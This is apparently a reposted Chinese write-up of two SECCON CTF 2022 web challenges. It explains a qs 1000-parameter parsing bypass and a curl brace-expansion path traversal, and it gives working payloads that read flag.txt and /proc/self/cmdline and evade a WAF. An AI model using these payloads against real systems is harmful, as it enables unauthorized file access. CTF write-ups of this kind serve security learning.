SECCON CTF 2022 web复现

news2024/11/21 18:52:42

skipinx

知识点:qs 参数解析错误

qs简介

一句话介绍就是:qs是负责url参数转化的js库,当然也可以说是查询字符串解析和字符串化库。

详细了解移步:https://www.npmjs.com/package/qs

qs简单用法

例如:我们 url 参数是 foo[bar]=baz,那么他就会转化为一个对象

assert.deepEqual(qs.parse('foo[bar]=baz'), {
    foo: {
        bar: 'baz'
    }
});

可以嵌套对象,例如:

assert.deepEqual(qs.parse('foo[bar][baz]=foobarbaz'), {
    foo: {
        bar: {
            baz: 'foobarbaz'
        }
    }
});

也可以是正常的键值对:url 参数为 a=b&proxy=nginx,解析为

{ a: 'b', proxy: 'nginx' }

getflag

index.js 中可以看到只要 get 参数 proxy 中没用 nginx 这个值就可以了,但是直接令 proxy=xxx 无法绕过,问题出来哪里了呢?
在这里插入图片描述
问题出在了 nginx 的配置文件 conf 上了,它固定了 / 路由的 proxy 参数是 nginx,那要怎么绕过呢?
在这里插入图片描述
package-lock.json,可以看到有用 qs 处理 httpbody

在这里插入图片描述

且在 qs 的文档中可以看到,qs 最多解析 1000 个参数。

在这里插入图片描述

payload:

curl $(python -c 'print("http://skipinx.seccon.games:8080/?proxy=x"+"&a="*999)')

在这里插入图片描述

easylfi

知识点:curl 的多文件下载(访问),代码审计

curl 的多文件下载

https://qastack.cn/unix/243134/curl-download-multiple-files-with-brace-syntax

在这里插入图片描述
例外:如果您指定多个文件,curl 将在每个文件之间用换行符连接每个文件,就这题来说,可以明显看到它换行了。

在这里插入图片描述

分析

根路由,过滤了 .. 和 % 可以用 {.}{.} 绕过 ..,且访问的文件要存在,最后把 (proc.stdout.decode(), request.args) 送给 template 处理,前者是 curl 访问文件后产生的输出,后者是请求的参数和值。

@app.route("/")
@app.route("/<path:filename>")
def index(filename: str = "index.html"):
    if ".." in filename or "%" in filename:
        return "Do not try path traversal :("

    try:
        proc = subprocess.run(
            ["curl", f"file://{os.getcwd()}/public/{filename}"],
            capture_output=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout"

    if proc.returncode != 0:
        return "Something wrong..."
    return template(proc.stdout.decode(), request.args)

template 函数先把参数的键名和键值送给 validate 函数判断符不符合格式,然后再替换 {...} 和键值。
注意:这边是在输出内容的基础上替换的,且这题是有 waf 的,返回的值不能有 SECCON,那么我们是不是可以通过某些操作令这个替换功能,替换掉返回的 SECCON,这样就可以绕过 waf 了。

def template(text: str, params: dict[str, str]) -> str:
    # A very simple template engine
    for key, value in params.items():
        if not validate(key):
            return f"Invalid key: {key}"
        text = text.replace(key, value)    # key 为 {name} 里面的name,利用 value 代替 name,在返回到模板里面
        # text 是输出的内容
    return text
@app.after_request
def waf(response: Response):
    if b"SECCON" in b"".join(response.response):
        return Response("Try harder")
    return response

最后看看这个判断 url 参数格式的函数,它本意是想判断格式是不是 {....},但是它写的有问题,在 for 循环下的第一个 if 判断只要等于 { 就直接返回 true 了,那这个有什么用呢?

def validate(key: str) -> bool:
    # E.g. key == "{name}" -> True
    #      key == "name"   -> False
    if len(key) == 0:
        return False
    is_valid = True
    for i, c in enumerate(key):
        if i == 0:
            is_valid &= c == "{"		# {=456 也可以
        elif i == len(key) - 1:
            is_valid &= c == "}"
        else:
            is_valid &= c != "{" and c != "}"
    return is_valid

用这题举一个例子:

{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}
此时它返回的是当前运行的命令,和 hello.html 代码
在这里插入图片描述

{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{
当我们把 {proc/self/cmdline,app/public/hello.html} 替换为 { ,把 { 替换为 }{ 时,我们就创造了一个闭合,途中红圈内的。
在这里插入图片描述

最后我们只要把红圈内的替换掉就可以了

http://easylfi.seccon.games:3000/{.}{.}/{.}{.}/{proc/self/cmdline,app/public/hello.html}?{proc/self/cmdline,app/public/hello.html}={&{=}{&{%00--_curl_--file:///app/public/../../app/public/hello.html%0A%3C!DOCTYPE%20html%3E%0A%3Chtml%3E%0A%3Chead%3E%0A%20%20%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%20%20%3Ctitle%3Eeasylfi%3C%2Ftitle%3E%0A%3C%2Fhead%3E%0A%3Cbody%3E%0A%20%20%3Ch1%3EHello%2C%20}=success!!!

从下图中可以看到我们成功的把红圈内的内容替换为 success!!!
在这里插入图片描述

getflag

从上我举的例子中可以看出只要构造出一个类似 {.....%0aSECCON} 的闭合,并把它替换掉就可以绕过 waf 了。

这里的 %0a 是因为 curl 将在每个文件之间用换行符连接每个文件

payload:

{.}{.}/{.}{.}/{proc/self/cmdline,flag.txt}?{proc/self/cmdline,flag.txt}={&{=}{&{%00--_curl_--file:///app/public/../../flag.txt%0ASECCON}=succ

这边要注意的是 --_curl_-- 前面是有不可见字符隔开的,我们复制的时候可以发现它并不是空格,是 %00,也就是 url 中字符串结束的标志。
在这里插入图片描述

reference

https://qiita.com/kusano_k/items/13867e5defc0e5491917#skipinx
https://qiita.com/__dAi00/items/3264238fa0d82d900606#easylfi

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/20690.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

NTPv4协议解析

前言 本文的撰写基于RFC5905.NTP 是时间网络控制协议&#xff0c;V4版本相交V3版本&#xff0c;修复了V3存在的一些问题。尤其是NTPV4的拓展时间戳鼓励使用浮动双数据类型&#xff0c;这样使得NTP能够更好的支持1ns的场景&#xff0c;轮询间隔也从上一代的最多1024s拓展到了36…

上位机通信标准-OPC

OPC通信&#xff0c;基于OPC的通信是一种通信整合方案&#xff0c;通过OPC标准&#xff0c;整合各类协议并统一化接口。 1、上位机通信环境 - 品牌、各类繁多 - 通信环境的统一&#xff1a;OPC 2、OPC - 什么是OPC&#xff1a;OLE for Process Control Windows插件&#x…

数字集成电路设计(五、仿真验证与 Testbench 编写)(一)

文章目录引言1. Verilog HDL 电路仿真和验证概述2. Verilog HDL测试程序设计基础2.1 Testbench及其结构2.2 测试平台举例2.2.1 组合电路仿真环境搭建2.2.2 时序电路仿真环境搭建2.3 Verilog HDL仿真结果确认2.4 Verilog HDL仿真效率3. 与仿真相关的系统任务3.1 $display和\$wri…

Mybatis的二级缓存 (默认方式)

目录前置生效场景一场景二失效场景一场景二场景三场景四脏数据场景前置 什么是二级缓存: 一级缓存是基于sqlsession级别, 当一个sqlsession会话结束, 一级缓存也就结束了. 定义一级缓存为局部缓存, 那么二级缓存就是全局全局缓存 二级缓存是基于mapper文件的namespace级别&…

进程和线程的区别

进程和线程的区别 文章目录进程和线程的区别进程和线程的概念一、从属关系不同二、所属基本单位不同三、资源消耗不同四、是否同步和互斥额外补充问题&#xff1a;一个进程是不是可以创建无限数量的线程&#xff1f;参考链接进程和线程的概念 在了解区别之前&#xff0c;我们先…

【Java】IO流 - 字节流

文章目录FileInputStream 介绍FileOutputStream介绍文件输入输出综合使用【拷贝】FileInputStream 介绍 创建一个txt文件&#xff0c;写入 HelloWorld 并用Java读取&#xff1a; Test public void readFile01(){//提前创建一个文件hello.txt并编辑一个HelloWorldString filePa…

Nacos 注册中心的常用配置

1.服务端地址 spring.cloud.nacos.discovery.server-addr 无 Nacos Server 启动监听的 ip 地址和端口2.服务名 spring.cloud.nacos.discovery.s ervice ${spring.application.name} 给当前的服务命名3.服务分组spring.cloud.nacos.discovery.groupDEFAULT_GROUP 设置服务所处的…

机器视觉之ros人脸识别

系列文章目录 机器视觉之ros人脸识别 ros人脸识别系列文章目录一、WIN下的环境设置二、连接摄像头设备到虚拟机三、安装摄像头驱动设备3.1判断安装usb还是uvc驱动包3.2查看摄像头设备3.3测试网络摄像头3.4安装摄像头驱动包四、调用视觉功能包五、人脸识别的调用一、WIN下的环境…

封装系统之新手操作版

一、需要软件&#xff1a;Vmware16&#xff0c;win10正版系统&#xff0c;EasySysprep5&#xff0c;EasyU_v3.6.iso 下载地址&#xff1a;EasySysprep5&#xff1a;https://www.itsk.com/thread-425990-1-1.html EasyU_v3.6&#xff1a;https://www.itsk.com/thread-426856-1-1…

【计算机视觉】不来试试图片轮廓提取?

文章目录&#x1f6a9; 前言&#x1f348; 边缘提取原理卷积用特殊的卷积核进行轮廓提取&#x1f34f; 开始轮廓提取代码&#x1f6a9; 前言 最近学到了深度学习的卷积操作&#xff0c;在卷积神经网络出现之前&#xff0c;就已经有使用卷积核 &#xff08;也叫滤波器&#xff…

NLP模型(三)——FastText介绍

文章目录1. FastText 概述2. FastText 分类模型2.1 结构2.2 n-gram3. FastText 词嵌入模型1. FastText 概述 首先&#xff0c;我们得搞清楚&#xff0c;FastText 是什么&#xff1f;有的地方说是分类模型&#xff0c;有的地方又将其用于词向量&#xff0c;那么&#xff0c;Fas…

ppt复现CVPR顶会流程图

本次目标如下图&#xff0c;难点在于立方体和矩阵格网的绘制 文末附机器学习绘图模板~ 先来绘制立方体&#xff0c;插入——形状——立方体&#xff0c;调节成如下图&#xff0c;再点击水平翻转&#xff1a; 绘制矩形&#xff0c;多绘制几个组合成矩形格网&#xff0c;右键设置…

TFT-LCD屏幕读取Flash芯片图片资源并显示

TFT-LCD屏幕读取Flash芯片图片资源并显示 在前面用TFT-LCD显示图片的实验中&#xff0c;由于图片资源过大&#xff0c;240 * 320 的图片大小为150K&#xff0c;而STM32F103ZET6的内部Flash才512K&#xff0c;最多能放三张图片&#xff0c;所以这次将图片放到外部Flash中&#…

【Java八股文总结】之Redis数据库

文章目录Redis 数据库一、Redis基础1、Redis应用场景2、Redis数据类型3、Redis常用命令4、Redis为什么速度快&#xff1f;5、Redis和Memcached的区别和共同点6、Redis和MySQL的区别&#xff1f;二、高可用1、主从复制Q&#xff1a;主从复制主要的作用?2、Redis主从复制原理Red…

Cadence之Allegro:蛇形与差分等长

文章目录 一、三种等长方法二、直接等长法设置教程1、差分设置2、analysis设置三、pin-pair法设置教程一、三种等长方法 直接等长法 适用pin和pin之间没有容抗和阻抗的情况,即pin和pin之间只有一根线、没有电阻和电容的时候才可以使用这种方法。 pin-pair法 建立Sigxplorer模形…

基于stm32的光照强度检测智能窗帘系统

资料编号&#xff1a;098 下面是相关功能视频演示&#xff1a; 98-基于stm32的光照强度检测智能窗帘系统Proteus仿真&#xff08;源码仿真全套资料&#xff09;功能介绍&#xff1a; 检测当前的光照强度&#xff0c;LCD1602显示&#xff0c;并且可以自动打开关闭窗帘&#xf…

Tomcat AJP 文件包含漏洞(CVE-2020-1938)

目录 1&#xff0e;漏洞简介 2、AJP13 协议介绍 Tomcat 主要有两大功能&#xff1a; 3&#xff0e;Tomcat 远程文件包含漏洞分析 4&#xff0e;漏洞复现 5、漏洞分析 6&#xff0e;RCE 实现的原理 1&#xff0e;漏洞简介 2020 年 2 月 20 日&#xff0c;公开CNVD 的漏洞公…

【ACL 2022】用于多标签文本分类的对比学习增强最近邻机制

论文地址&#xff1a;https://aclanthology.org/2022.acl-short.75.pdf 1. 摘要 多标签文本分类&#xff08;MLTC&#xff09;是自然语言处理中的一项基本且具有挑战性的任务。以往的研究主要集中在学习文本表示和建模标签相关性上。然而&#xff0c;在预测特定文本的标签时&…

玩转SQL语句之group by 多字段分组查询与having子句,一篇解决你的疑惑!

sql语句group by使用详解group by的基本语法基本语法什么是分组查询(一个字段)多个字段的分组查询1.两个字段的分组查询2.三个字段及N个字段进行分组查询having子句的使用基本语法having是干什么的演示分组查询select关键字后面列名书写的注意事项group by的基本语法 基本语法…

入门必写项目之图书管理系统(分析详解+完美运行+代码可拿)

文章目录一、需求分析二、思路分析三、包分类四、模块代码展示1.1书籍类&#xff08;Book&#xff09;实现1.2书架类&#xff08;BookList类&#xff09;实现2.1功能接口&#xff08;IOperation&#xff09;实现2.2增加图书&#xff08;Addoperation&#xff09;实现2.3删除图书…